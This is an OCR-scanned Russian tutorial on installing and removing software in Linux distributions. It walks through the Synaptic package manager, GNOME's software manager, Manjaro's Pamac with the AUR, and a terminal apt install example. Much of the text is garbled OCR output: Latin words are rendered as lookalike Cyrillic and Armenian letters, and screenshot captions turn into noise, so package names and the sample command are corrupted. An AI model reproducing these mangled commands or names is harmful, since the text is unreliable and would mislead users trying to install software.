сфготімт-бгомзег 1:85.0.4183.83-000 1:85.0.4183.83-0%6 Тгапійола! раскаде - сһготішт-бгомуег <» сһготішт пар 
сгоприт-<одесз-Итред-ем 1:85.0.4183.83-00Ь 1:85.0.4183.83-0սԵ Тгагіогаі раскаде - сћготішт-содес»-'тред-ехіга -» сћотішт- тред злар 
Ыгоменг-рілўт-/геѕћріауег-р. 039շսեսուսչ РРАРІ-ћоѕ{ МРАР!-рішдіп эбарќег Го реррегћаѕћ 
Бико 43.051 Роше НА согтитаг ие Бооктагк тъапафет 
«ցքէ օ-Ք81-12871.8-: ՇՔԼՈՓուքսԱ ԱՈ (оо ԿՈԼԻ Տսքքօքէ Гог Сћготішт ՕՏ Փոէծոչյօոչ 
смготіцт-феомезег10п 1:85.0.4183.8300Ь Тгагебогаі раскаде - сһготіит-Бгомуег410п -» сћготішт лар 
Сготішт- 05и 0.9.16.1-220й81 аркадная космическая стрелялка 
«հօոսո-Ետս-Չ4է2 09.161-2Եսմժ: пакет данных для игры Сһготіит 8.5.Ս 
СФотімт<ћеотебгімег 1:85.0.4183.83-0%6 Тгагіијотаі раскаде - сһготішт-сћгопъебгімег -» сһготішт ոտք 
сготімт-<обесэ-#1тред 1:85.04183.83-0սԵ Тгапб юпа! раскаде - сһготішт-содесуїтрео -> сһготішт- тред ѕпар 
Разделы 
Состояние 
Проискождение 
Специальные фильтры 
Результаты поиска 
Аржитектура 
32 пакетов в списке, 1959 установлено, 0 ушибками 0 для устэноежи/обмовления, 0 ди 





Для удаления программ в Ѕупаріс нажимаем правой клавишей мышки на пакете, возьмем 
для примера все тот же Сһготіит, и выбираем один из пунктов “Отметить для удаления” или 
“Отметить для полного удаления”, в последнем случае, программа удалится со всеми ее 
зависимостями: 


Обиейи-20 0%-Чюе на ОЕМ /КУМ 






Менеджер пакетов 5упер!К 





Пакет Настройки 





Свойства 


сРготе-дпоте-5 Ве ե СМОМЕ ՏԻ: ехепоіотз іпёедгабоп Гог меф ԵՐՕԿԽՆՇՐՏ 


Фол Ե Тгагзіопаі раскаде - сһготішт-содесз-#тредчекіга -» сһеотішт- тред злар 





Бом ՔՔՃԲլ-իօչէ МРАРІ-рішдіп әбарќег Гог реррегћаѕћ 

Եմս Отметить для переустановки Рочег А соттагеі-іге Бооктагк тападег 

сар СРТ тапіршацоп (ооі ԿՈԼԻ зирро Гог Сћготішт 05 ՓոԼծոՏ/0ՈՏ 

гой Отметить для удаления № Тгапвібогаі раскаде - сһготішт- Ъгомуег410п -» сћготішт пар, 

Фоа тметить для полмого удаления аркадная космическая стрелялка 

(Խօո — свойства пакет данных для игры Сһготішт 8.5.10 

стол № Тгапоіогші раскаде - сһготішт-сћготебгімег -» сһготішт зљар 

Окол № Тгапоібопа! раскаде - сһготішт-содесу тред -> ԸհՐՉՈ Մ тред пар 


Тези юопа( раскаде - сһготішт-Бгомзег -> сһготішт зпар 
Получить изображение жрама Получить список изменений сетить домашнюю страницу 


Это пустой переходмый пакет. Его можно безопасно удалить 


еотішт-бгомтег 15 пом геріасеа Бу էհօ сһготішт ճոճք 


Разделы 


стояние 


Проискождение 


Специальные фильтры 


Результаты поиска 


Аржитектура 


$2 пакетов в списке. 





ошибками. 0 для установжи/обмовления 





Подтверждаем удаление программы нажатием кнопки “Применить”, появится окно, в 
котором точно так же как и при установке можно увидеть какие пакеты будут удалены, 
нажимаем на кнопку “Продолжить” и программа будет удалена из вашей системы: 


ՍԵսո Ս -20 04-сіоте на ЧЕМУ КУМ 


установленная в Последмяя веро Описание 
10.1-5 10.1-5 


Краткое описание 


Применить следующие изменения? 





Проверьте спис они будут выполнены 





к изменений перед тем, как 


+ Будут полностью удалемы (включая файлы настроек) 
› без изменений 
















кретиве списонне Показать подробности 


6 пакетов ме будут обновлены 


лько загрузить файлы пажетов 


Применить 





5упарйс по умолчанию в некоторых системах отсутствует, его заменяют другим 
приложением для установки и удаления программ в операционных системах [іпих. 
Рассмотрим на примере той же ОБип приложение “Менеджер программ”, по сути, оно 
практически ничем не отличается от других, которые идут с рабочим окружением СМОМЕ, в 
том же Оеап вы увидите крайне похожее приложение для установки программ. Тут все 
программы разбиты по категориям: 





собе те 


Сытие Пай гб д М фе  ՁՁ Ձ спе 
... 





еее || №. | ща 


Для поиска нужной программы в Менеджере программ в поисковой строке точно так же как 
и в Ѕупарісе вводим название необходимой программы, например все тот же ԸՇհւօուստ, и из 
списка выбираем нужное: 











Нажимаем на названии программы и переходим на страницу с описанием, где вверху 
появится кнопка “Установить”, нажимаем на нее и программа будет установлена: 





Для удаления программы точно так же находим ее в списке, переходим на страницу иу вас 
будет кнопка “Удалить”, после нажатия которой программа удалится из вашей системы: 





«հօտ 


ч сћготішт *** 
я С) Сһотішт меб Бгомуег, ореп-хочгсе мегоіоп оѓ Сһгопъе 
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$ աար ՏՅ 
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Подробности 
о это приложение неограмичемо. Оно имеет доступ ко ем личным фа ) 

аке /аЫе 

98.0.4758.102 

21.02.2022 


Все это крайне похоже на магазин приложений в смартфонах на Апаго!а, так что проблем Ը 
установкой и удалением программ возникнуть не должно. В менеджере приложений ПО15соуег 
который идет с рабочим окружением КПЕ все действия примерно такие же. 


Установка программ в Мапјаго 


В дистрибутиве Мапјаго установка программ происходит примерно так же, только разница 
заключается в пакетном менеджере. Так как Мапјаго основывается на дистрибутиве Агс|, то 
она унаследовала пакетный менеджер Растап. Это самый быстрый пакетный менеджер, но 
помимо этого, в Мапјаго так же имеется пользовательский репозиторий АОК, который 
унаследован все из того же Агсһ Тіпих. Как можно понять из названия, АОК это 
пользовательский репозиторий, в который добавляются программы пользователями, а не 
разработчиками. Тут стоит отметить, что рекомендуется устанавливать программы именно из 


официальных репозиториев, а пользоваться репозиторием АОК следует только при крайней 
необходимости. 


Включить АОК можно в Ратас, или как он называется в Мапјаго – “Установка и удаление 
программ”: 





Нажимаем на три точки и выбираем пункт “Настройки”: 





Далее переходим на вкладку “Сторонние” включаем АСК передвинув ползунок в 
соответствующем пункте: 





Установка программ происходит точно так же как и в выше приведенных дистрибутивах, на 
вкладке “Установленные” будут отображаться программы, которые установлены у вас в 
системе. Точно так же программы разбиты на категории, так что поиск можно проводить по 
категориям программ. Про установку программ в Мапјаго из терминала на сайте есть 
отдельная статья, доступная по этой ссылке, дублировать ее нет смысла. 


Заключение 


Установка программ из терминала удобна тем, что буквально одной командой вы можете 
установить множество программ. Приведу пример установки программ в Оеђіап 
ориентированных дистрибутивах, как вы помните, к ним относятся: Оеђіап, ОБип, ших 
Мише МХ Шпих, Ата Піпих и многие другие. И так, установим для примера такие 
программы как браузер — СБгот! ит, проигрыватель — УГ.С и графический редактор СМР, 


все эти программы можно установить из репозитория, и для их установки достаточно 
выполнить команду — 


5и4о арі ша и перечень устанавливаемых программ: 
ѕидо ар шзаП сһготіот ус эппр 


Все перечисленные программы установятся и подтянут за собой необходимые зависимости. 
Точно так же можно устанавливать программы и в других дистрибутивах, просто перечислив 
их название в терминале, удобно и практично. Стоит отметить, что программы можно 
устанавливать из заранее заготовленного списка, читайте подробнее об этом способе в 
отдельной статье, доступной по этой ссылке. 
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